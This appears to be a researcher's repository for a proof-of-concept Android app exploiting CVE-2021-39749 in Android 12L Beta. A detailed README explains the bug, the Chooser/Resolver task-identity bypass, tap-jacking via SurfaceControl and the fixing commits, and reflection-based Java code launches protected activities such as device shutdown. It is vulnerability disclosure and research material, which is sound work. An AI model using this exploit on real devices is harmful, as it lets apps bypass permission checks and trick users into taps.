├── .gitignore ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ └── main │ ├── AndroidManifest.xml │ ├── java │ └── com │ │ └── example │ │ └── organizertransaction │ │ ├── FirstActivity.java │ │ └── SecondActivity.java │ └── res │ ├── drawable-v24 │ └── ic_launcher_foreground.xml │ ├── drawable │ └── ic_launcher_background.xml │ ├── layout │ ├── activity_first.xml │ └── activity_second.xml │ ├── mipmap-anydpi-v26 │ ├── ic_launcher.xml │ └── ic_launcher_round.xml │ ├── mipmap-hdpi │ ├── ic_launcher.webp │ └── ic_launcher_round.webp │ ├── mipmap-mdpi │ ├── ic_launcher.webp │ └── ic_launcher_round.webp │ ├── mipmap-xhdpi │ ├── ic_launcher.webp │ └── ic_launcher_round.webp │ ├── mipmap-xxhdpi │ ├── ic_launcher.webp │ └── ic_launcher_round.webp │ ├── mipmap-xxxhdpi │ ├── ic_launcher.webp │ └── ic_launcher_round.webp │ └── values │ └── strings.xml ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/caches 5 | /.idea/libraries 6 | /.idea/modules.xml 7 | /.idea/workspace.xml 8 | /.idea/navEditor.xml 9 | /.idea/assetWizardSettings.xml 10 | .DS_Store 11 | /build 12 | /captures 13 | .externalNativeBuild 14 | .cxx 15 | local.properties 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This is PoC for CVE-2021-39749, which allows starting activities of other apps on Android 12L Beta regardless of their `permission` and `exported` settings 2 | 3 | In Android 12L [TaskFragmentOrganizer access (intentionally) no longer requires `MANAGE_ACTIVITY_TASKS` permission](https://android.googlesource.com/platform/frameworks/base/+/d5555da37a3a7f9508efee06b5c7abbb380af55d%5E!/) 4 | 5 | Using app provided here requires disabling [Hidden API Checks](https://developer.android.com/guide/app-compatibility/restrictions-non-sdk-interfaces), you can do so through `adb shell settings put global hidden_api_policy 1`. These are not security boundary and [there are known app-based bypasses](https://www.xda-developers.com/bypass-hidden-apis/) 6 | 7 | Here are commits fixing this bug (and few related mentioned in original report): 8 | 9 | 1. [`startActivityInTaskFragment` no longer rely on `Binder.getCallingUid()`](https://android.googlesource.com/platform/frameworks/base/+/a3deece020fb5a2a6e54499d83076e4c783b96ab%5E!/) 10 | 2. [`ResolverActivity` now has `relinquishTaskIdentity` enabled](https://android.googlesource.com/platform/frameworks/base/+/674aed9fb5a2a4411660507a7edb6fe1e351ed9b%5E!/) 11 | 3. (Not needed for starting other activities, but allows repositioning them around screen and making them transparent and tap-jackable) [`SurfaceControl` of `TaskFragment` is no longer provided](https://android.googlesource.com/platform/frameworks/base/+/d45dba76ac1fe9726ec74a797441fdb853c1c4db%5E!/) 12 | 4. (Not shown in code here, issue only mentioned in original report) [Deciding whenever to send `ActivityRecord#appToken` to `TaskFragmentOrganizer` is now based on uid instead of pid](https://android.googlesource.com/platform/frameworks/base/+/9c906fbc942bbddba7fe3bc1c6e905281712a118%5E!/) 13 | 14 | You can checkout `android-12.1.0_r4`, revert first 3 commits (or first 2, application will still be able shutdown device (by starting `ShutdownActivity`), but "Zoom and set alpha" checkbox won't work) 15 | 16 | (First commit from that list will have merge conflicts in tests if you try to revert it, but you can ignore these) 17 | 18 | # `Binder.getCallingUid()` that always returns system uid 19 | 20 | [`Binder.getCallingUid()`](https://developer.android.com/reference/android/os/Binder#getCallingUid()) method returns uid of process that sent currently processed Binder transaction. That uid is stored in thread-local variable. Code handling transaction can call [`Binder.clearCallingIdentity()`](https://developer.android.com/reference/android/os/Binder#clearCallingIdentity()) to set that variable to uid of own process to indicate to methods called later during transaction handling that permission checks should be done against itself (code handling transaction) and not caller of Binder transaction 21 | 22 | Sometimes there are `Binder.getCallingUid()` that are always called after `Binder.clearCallingIdentity()`, therefore always return uid of own process. [Sometimes this happens intentionally, for example in `ActivityTaskManagerService#startDreamActivity`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityTaskManagerService.java;l=1445-1447;drc=77d147be49bbacefa92cf8a0b33b2968125ce613) (although thats rather convoluted way of doing [`Process.myUid()`](https://developer.android.com/reference/android/os/Process#myUid()) or [`Os.getuid()`](https://developer.android.com/reference/android/system/Os#getuid())) 23 | 24 | I've written for myself a ([Soot](https://soot-oss.github.io/soot/)-based) static analysis tool that reports such `Binder.getCallingUid()` calls (and other permission checks) that can only happen after `Binder.clearCallingIdentity()`. (I have custom logic handling Jimple/Shimple IR provided by Soot, although there might be better way to do so with Soot, but thats what I have now) 25 | 26 | In Android 12L Beta that tool found one in [ActivityStartController#startActivityInTaskFragment](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStartController.java;l=511;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) (Note: source code was not available then as Beta releases are not open source, but Shimple is generally readable so I've been using Soot also as Java decompiler) 27 | 28 | # How to call `startActivityInTaskFragment` 29 | 30 | As part of static analysis report I've got call hierarchy from [`onTransact()`](https://developer.android.com/reference/android/os/Binder#onTransact(int,%20android.os.Parcel,%20android.os.Parcel,%20int)) implementation (where Binder call starts) to `startActivityInTaskFragment`: 31 | 32 | 1. `onTransact` in aidl-generated code of [`IWindowOrganizerController`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/window/IWindowOrganizerController.aidl;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 33 | 2. [`WindowOrganizerController#applyTransaction` (without `CallerInfo` argument)](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=166;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 34 | 3. [`WindowOrganizerController#applyTransaction` (with `CallerInfo` argument)](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=380;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 35 | 4. [`WindowOrganizerController#applyHierarchyOp`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=633;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 36 | 5. [`ActivityStartController#startActivityInTaskFragment`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStartController.java;l=511;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 37 | 38 | I've found that Binder calls to `applyTransaction` are present in [`TaskFragmentOrganizer` class](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/window/TaskFragmentOrganizer.java;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) and I've decided to use it as more convenient wrapper than doing all Binder calls directly (neither is public API so I had to use reflection anyway) 39 | 40 | First of all, method "2." calls `enforceTaskPermission`, which on Android 12.0 checked `signature`-only `MANAGE_ACTIVITY_TASKS` permission which we couldn't get, however [on Android 12L rules were relaxed so certain transactions can be made without permissions](https://android.googlesource.com/platform/frameworks/base/+/d5555da37a3a7f9508efee06b5c7abbb380af55d%5E!/). It turned out that none of operations needed for doing `startActivityInTaskFragment` required a permission (if transaction had `TaskFragmentOrganizer` associated) 41 | 42 | So we want to [perform `HIERARCHY_OP_TYPE_START_ACTIVITY_IN_TASK_FRAGMENT`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=621-641;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b). In order to do so we must have our `TaskFragment` registered in `mLaunchTaskFragments` otherwise `"Not allowed to operate with invalid fragment token"` exception will be reported 43 | 44 | We can register such `TaskFragment` through [`HIERARCHY_OP_TYPE_CREATE_TASK_FRAGMENT`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=588-593;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b), which calls [`createTaskFragment()`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=1202-1240;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 45 | 46 | (In PoC code these transactions are sent in `SecondActivity`: `HIERARCHY_OP_TYPE_CREATE_TASK_FRAGMENT` is sent by `initOrganizerAndFragment()` and `HIERARCHY_OP_TYPE_START_ACTIVITY_IN_TASK_FRAGMENT` is sent by `startActivityInOrganizer`) 47 | 48 | So that allows us to call `startActivityInTaskFragment` and Intents of Activities started here are considered to be coming from system uid, but it turns out that in itself it doesn't let us do anything: [activities started by system cannot do URI grants](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/uri/UriGrantsManagerService.java;l=1095-1111;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) and if we try to launch activity of another app we'll be stopped by [`canEmbedActivity` check](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStarter.java;l=1960-1997;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 49 | 50 | # Bypassing `canEmbedActivity` 51 | 52 | Lets [take a look at `canEmbedActivity` again](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStarter.java;l=1969-1997;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b): embedding is allowed if `taskFragment.getTask().effectiveUid` is uid of system or matches uid of launched app. We'll need to be in task whose `effectiveUid` is system 53 | 54 | Also step back to [`createTaskFragment()`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=1202-1240;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b): creation of TaskFragment was only allowed if `rootActivity.getUid() != ownerActivity.getUid()`. This means that our activity will need to be at bottom of back-stack of Task it is in 55 | 56 | We'll need to launch new `Task` (through [`Intent.FLAG_ACTIVITY_NEW_TASK`](https://developer.android.com/reference/android/content/Intent#FLAG_ACTIVITY_NEW_TASK)) which will have Activity belonging to system uid (so `Task#effectiveUid` will be set to `AID_SYSTEM`) and then that Activity will start our Activity (within same Task) and [`finish()`](https://developer.android.com/reference/android/app/Activity#finish()) itself (so our Activity will become root of that task allowing us to use `createTaskFragment()`) 57 | 58 | One of such Activities is [`ChooserActivity`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/app/ChooserActivity.java;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b). Chooser is usually used for choosing to which app user wants to use after selecting "share" option. [`ChooserActivity` however does have `android:relinquishTaskIdentity="true"` set in `AndroidManifest.xml`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/res/AndroidManifest.xml;l=5859-5864;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b), which means that when it launches another Activity it will [overwrite `Task#effectiveUid` with uid of newly-launched app](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/Task.java;l=1015-1030;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) 59 | 60 | (`relinquishTaskIdentity` only works when used by first app in Task and only for system apps, so we cannot use `relinquishTaskIdentity` ourselves and launch system app to overwrite `Task#effectiveUid` of our Task) 61 | 62 | Another such Activity (that can start our Activity and `finish()` itself) is [`ResolverActivity`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/app/ResolverActivity.java;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b). It is used when starting implicit `Intent` that resolves to multiple Activities. Resolver (unlike Chooser) does offer option to remember choice, which is how you (as user of phone) can distinguish those two. `ResolverActivity` did not have `relinquishTaskIdentity` set, however Resolver uses own Intent to find what options are available (while Chooser takes Intent provided in Extras). This turns out to be a problem for exploitation because Intent flags used by Resolver when launching selected Activity will be same as those used to launch Resolver and: 63 | 64 | * If we don't set `Intent.FLAG_ACTIVITY_NEW_TASK`, Resolver will be launched within our `Task` which already has `effectiveUid` permanently set 65 | * If we do set `Intent.FLAG_ACTIVITY_NEW_TASK`, Resolver will launch selection into yet another `Task`, which will then have `effectiveUid` set to one belonging to launched app 66 | 67 | The solution to these problems is to use both: 68 | 69 | 1. First we launch `ChooserActivity`: We provide to its Intent: 70 | * `Intent.FLAG_ACTIVITY_NEW_TASK`, so Chooser is launched in new Task (which will have `effectiveUid` of system but only until next Activity launch) 71 | * [`Intent.EXTRA_INTENT`](https://developer.android.com/reference/android/content/Intent#EXTRA_INTENT) set to an `Intent` which doesn't match any Activities and only options left in Chooser will come from `Intent.EXTRA_INITIAL_INTENTS` 72 | * [`Intent.EXTRA_INITIAL_INTENTS`](https://developer.android.com/reference/android/content/Intent#EXTRA_INITIAL_INTENTS) containing array with one-element: The Intent we want Chooser to launch (when there is only one option both Chooser and Resolver skip prompt and immediately launch only option and `finish()` itself) 73 | 2. Then `ResolverActivity` is launched by `ChooserActivity`: 74 | * Resolver didn't have `relinquishTaskIdentity` set, so now `Task#effectiveUid` is set to system and will stay that way regardless of next Activities launched in this Task 75 | * Intent does not have `Intent.FLAG_ACTIVITY_NEW_TASK`, so next Activity is launched within same Task 76 | * Intent action is set to non-standard one, matching only `` we declared ourselves in our app, so Resolver immediately proceeds to launching our Activity 77 | 3. `ResolverActivity` launches our Activity 78 | * Now we're in Task whose `effectiveUid` is `AID_SYSTEM`, so `canEmbedActivity()` allows anything 79 | * Both Chooser and Resolver have finished themselves, so we're root Activity in Task and are allowed to use `createTaskFragment()` 80 | 81 | (In PoC app preparation of these steps is performed in `FirstActivity`) 82 | 83 | # Other tricks with TaskFragmentOrganizer 84 | 85 | TaskFragmentOrganizer received a [`SurfaceControl`](https://developer.android.com/reference/android/view/SurfaceControl) through `onTaskFragmentAppeared` callback and using that `SurfaceControl` one can scale launched Activity and make it transparent, while it will still receive touch events and won't be considered obscured (so tap-jacking-protected elements can still be tapped) 86 | 87 | You can see that by checking "Zoom and set alpha" checkbox in PoC app 88 | 89 | [This is fixed by commit "3." from fixes list at top](https://android.googlesource.com/platform/frameworks/base/+/d45dba76ac1fe9726ec74a797441fdb853c1c4db%5E!/) 90 | 91 | --- 92 | 93 | Another thing is that `ActivityRecord#appToken`-s of Activities running inside `TaskFragment` passed to `TaskFragmentOrganizer` callbacks. This list was filtered to only include tokens of Activities within same process, however check was done by comparing pid of TaskFragmentOrganizer with pid of Activity whose `appToken` we could get. I haven't actually checked but I think application could create `TaskFragmentOrganizer`, exit process used to initially create it and have its pid reused as pid of Activity of another app in order to get its `appToken`. [Here's commit ("4." in fixes list above) that switches verification from pid-based to uid-based (it looks like this commit was done independently of my report though (although after it))](https://android.googlesource.com/platform/frameworks/base/+/9c906fbc942bbddba7fe3bc1c6e905281712a118%5E!/) 94 | 95 | Once attacker gets `appToken` of an Activity they can inject [`onActivityResult()`](https://developer.android.com/reference/android/app/Activity#onActivityResult(int,%20int,%20android.content.Intent)) calls (even if target app didn't call [`startActivityForResult()`](https://developer.android.com/reference/android/app/Activity#startActivityForResult(android.content.Intent,%20int)) themselves) and possibly tamper `savedInstanceState` (by calling [`activityStopped()`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityClientController.java;l=183;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b), assuming attacker can win race with target application calling that method and additional call won't cause state to be lost due to crash) 96 | 97 | I haven't checked if that can be done in this case, however previously, with [CVE-2020-0001](https://source.android.com/security/bulletin/2020-01-01#framework) (Yay, I've got fancy number), I was able to use `savedInstanceState` tampering and `onActivityResult()` injection to trick system settings app into enabling my `AccessibilityService` without user interaction, but that is a story for another time 98 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'com.android.application' 3 | } 4 | 5 | android { 6 | compileSdk 30 7 | 8 | defaultConfig { 9 | applicationId "com.example.organizertransaction" 10 | minSdk 30 11 | targetSdk 30 12 | versionCode 1 13 | versionName "1.0" 14 | 15 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 16 | } 17 | 18 | buildTypes { 19 | release { 20 | minifyEnabled false 21 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 22 | } 23 | } 24 | compileOptions { 25 | sourceCompatibility JavaVersion.VERSION_1_8 26 | targetCompatibility JavaVersion.VERSION_1_8 27 | } 28 | } 29 | 30 | dependencies { 31 | 32 | // implementation 'androidx.appcompat:appcompat:1.3.1' 33 | // implementation 'com.google.android.material:material:1.4.0' 34 | // implementation 'androidx.constraintlayout:constraintlayout:2.1.1' 35 | // testImplementation 'junit:junit:4.+' 36 | // androidTestImplementation 'androidx.test.ext:junit:1.1.3' 37 | // androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0' 38 | } -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 12 | 15 | 16 | 17 | 18 | 19 | 20 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /app/src/main/java/com/example/organizertransaction/FirstActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.organizertransaction; 2 | 3 | import android.app.Activity; 4 | import android.content.Intent; 5 | import android.os.Bundle; 6 | import android.os.Parcelable; 7 | import android.view.View; 8 | 9 | public class FirstActivity extends Activity { 10 | 11 | @Override 12 | protected void onCreate(Bundle savedInstanceState) { 13 | super.onCreate(savedInstanceState); 14 | setContentView(R.layout.activity_first); 15 | } 16 | 17 | public void doStuff(View view) { 18 | // Intent that will be launched by ChooserActivity 19 | // (at first ChooserActivity will launch ResolverActivity, 20 | // then ResolverActivity will launch SecondActivity) 21 | Intent targetIntent = new Intent("com.example.organizertransaction.SECOND_ACTIVITY"); 22 | targetIntent.setClassName("android", "com.android.internal.app.ResolverActivity"); 23 | 24 | // Intent that will launch ChooserActivity 25 | // Only this Intent of all in chain has FLAG_ACTIVITY_NEW_TASK 26 | Intent chooserIntent = Intent.createChooser( 27 | new Intent("com.example.organizertransaction.NO_SUCH_ACTIVITY"), null 28 | ); 29 | chooserIntent.putExtra(Intent.EXTRA_INITIAL_INTENTS, new Parcelable[] { targetIntent }); 30 | chooserIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 31 | 32 | startActivity(chooserIntent); 33 | } 34 | 35 | } -------------------------------------------------------------------------------- /app/src/main/java/com/example/organizertransaction/SecondActivity.java: -------------------------------------------------------------------------------- 1 | package com.example.organizertransaction; 2 | 3 | import android.annotation.SuppressLint; 4 | import android.app.Activity; 5 | import android.content.Intent; 6 | import android.os.Binder; 7 | import android.os.Bundle; 8 | import android.os.IBinder; 9 | import android.provider.Settings; 10 | import android.view.SurfaceControl; 11 | import android.view.View; 12 | import android.widget.ArrayAdapter; 13 | import android.widget.CheckBox; 14 | import android.widget.CompoundButton; 15 | import android.widget.Spinner; 16 | 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.InvocationTargetException; 19 | import java.util.concurrent.Executor; 20 | 21 | @SuppressWarnings("JavaReflectionMemberAccess") 22 | @SuppressLint("PrivateApi") 23 | public class SecondActivity extends Activity { 24 | 25 | public static final String[] ACTION_NAMES = { 26 | "IntentsLab", 27 | "Shutdown" 28 | }; 29 | private SurfaceControl mLeash; 30 | private Class mOrganizerClass; 31 | private Object mOrganizer; 32 | private IBinder mActivityToken; 33 | private Binder mFragmentToken; 34 | private Spinner mSpinner; 35 | private CheckBox mZoomAndScale; 36 | 37 | @Override 38 | protected void onCreate(Bundle savedInstanceState) { 39 | super.onCreate(savedInstanceState); 40 | setContentView(R.layout.activity_second); 41 | mSpinner = findViewById(R.id.spinner); 42 | mSpinner.setAdapter(new ArrayAdapter<>(mSpinner.getContext(), android.R.layout.simple_spinner_item, getResources().getStringArray(R.array.destinations))); 43 | mZoomAndScale = findViewById(R.id.zoom_and_set_alpha); 44 | mZoomAndScale.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { 45 | @Override 46 | public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { 47 | if (isChecked) { 48 | buttonView.setEnabled(false); 49 | if (mLeash != null) { 50 | doZoomAndScale(); 51 | } 52 | } 53 | } 54 | }); 55 | } 56 | 57 | public void doStuff2(View view) throws Exception { 58 | if (mOrganizer == null) { 59 | initOrganizerAndFragment(); 60 | } 61 | Intent intent = null; 62 | switch (mSpinner.getSelectedItemPosition()) { 63 | case 0: 64 | intent = new Intent(Settings.ACTION_SETTINGS); 65 | break; 66 | case 1: 67 | intent = new Intent("com.android.internal.intent.action.REQUEST_SHUTDOWN"); 68 | break; 69 | } 70 | startActivityInOrganizer(intent); 71 | } 72 | 73 | private void doZoomAndScale() { 74 | try { 75 | moveAndScale(mLeash, 0.5f, 1000, 0, 0.5f, 0.5f); 76 | } catch (Exception e) { 77 | throw new RuntimeException(e); 78 | } 79 | } 80 | 81 | void onTaskAppeared() { 82 | if (mZoomAndScale.isChecked()) { 83 | doZoomAndScale(); 84 | } 85 | } 86 | 87 | void initOrganizerAndFragment() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { 88 | mActivityToken = (IBinder) Activity.class.getMethod("getActivityToken").invoke(this); 89 | mFragmentToken = new Binder("FragmentToken"); 90 | 91 | mOrganizerClass = Class.forName("android.window.TaskFragmentOrganizer"); 92 | mOrganizer = mOrganizerClass.getConstructor(Executor.class) 93 | .newInstance((Executor) this::executorFn); 94 | 95 | Object transactionBuilder = Class.forName("android.window.TaskFragmentCreationParams$Builder") 96 | .getConstructor( 97 | Class.forName("android.window.TaskFragmentOrganizerToken"), 98 | IBinder.class, 99 | IBinder.class 100 | ) 101 | .newInstance( 102 | mOrganizerClass.getMethod("getOrganizerToken").invoke(mOrganizer), // organizer 103 | mFragmentToken, // fragmentToken 104 | mActivityToken // ownerToken 105 | ); 106 | 107 | Class transactionClass = Class.forName("android.window.WindowContainerTransaction"); 108 | Object transaction = transactionClass.newInstance(); 109 | 110 | transactionClass 111 | .getMethod("createTaskFragment", Class.forName("android.window.TaskFragmentCreationParams")) 112 | .invoke(transaction, transactionBuilder.getClass().getMethod("build").invoke(transactionBuilder)); 113 | 114 | 115 | mOrganizerClass.getMethod("registerOrganizer").invoke(mOrganizer); 116 | 117 | mOrganizerClass.getMethod("applyTransaction", transactionClass).invoke(mOrganizer, transaction); 118 | } 119 | 120 | void startActivityInOrganizer(Intent intent) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { 121 | Class transactionClass = Class.forName("android.window.WindowContainerTransaction"); 122 | Object transaction = transactionClass.newInstance(); 123 | 124 | transactionClass 125 | .getMethod( 126 | "startActivityInTaskFragment", 127 | IBinder.class, // container 128 | IBinder.class, // reparentContainer 129 | Intent.class, // activityIntent 130 | Bundle.class // launchOptions 131 | ) 132 | .invoke( 133 | transaction, 134 | mFragmentToken, 135 | mActivityToken, 136 | intent, 137 | null 138 | ); 139 | 140 | mOrganizerClass.getMethod("applyTransaction", transactionClass).invoke(mOrganizer, transaction); 141 | } 142 | 143 | void executorFn(Runnable r) { 144 | r.run(); 145 | 146 | Class rClass = r.getClass(); 147 | Field field = null; 148 | try { 149 | field = rClass.getDeclaredField("f$1"); 150 | } catch (NoSuchFieldException e) { 151 | } 152 | String fieldTypeName = null; 153 | if (field != null) { 154 | fieldTypeName = field.getType().getName(); 155 | } 156 | if ("android.window.TaskFragmentAppearedInfo".equals(fieldTypeName)) { 157 | try { 158 | field.setAccessible(true); 159 | Object info = field.get(r); 160 | mLeash = (SurfaceControl) info.getClass().getMethod("getLeash").invoke(info); 161 | } catch (IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { 162 | throw new RuntimeException(e); 163 | } 164 | runOnUiThread(this::onTaskAppeared); 165 | } 166 | } 167 | 168 | private void moveAndScale(SurfaceControl sc, float alpha, float positionX, float positionY, float scaleX, float scaleY) throws Exception { 169 | SurfaceControl.Transaction transaction = new SurfaceControl.Transaction(); 170 | transaction.setAlpha(sc, alpha); 171 | transaction.getClass() 172 | .getMethod( 173 | "setMatrix", 174 | SurfaceControl.class, 175 | float.class, 176 | float.class, 177 | float.class, 178 | float.class 179 | ) 180 | .invoke( 181 | transaction, 182 | sc, 183 | scaleX, 184 | 0.0f, 185 | 0.0f, 186 | scaleY 187 | ); 188 | // transaction.getClass() 189 | // .getMethod( 190 | // "setPosition", 191 | // SurfaceControl.class, 192 | // float.class, 193 | // float.class 194 | // ) 195 | // .invoke( 196 | // transaction, 197 | // sc, 198 | // positionX, 199 | // positionY 200 | // ); 201 | transaction.apply(); 202 | } 203 | } -------------------------------------------------------------------------------- /app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 15 | 18 | 21 | 22 | 23 | 24 | 30 | -------------------------------------------------------------------------------- /app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_first.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 13 | 14 | 18 | 19 | 20 |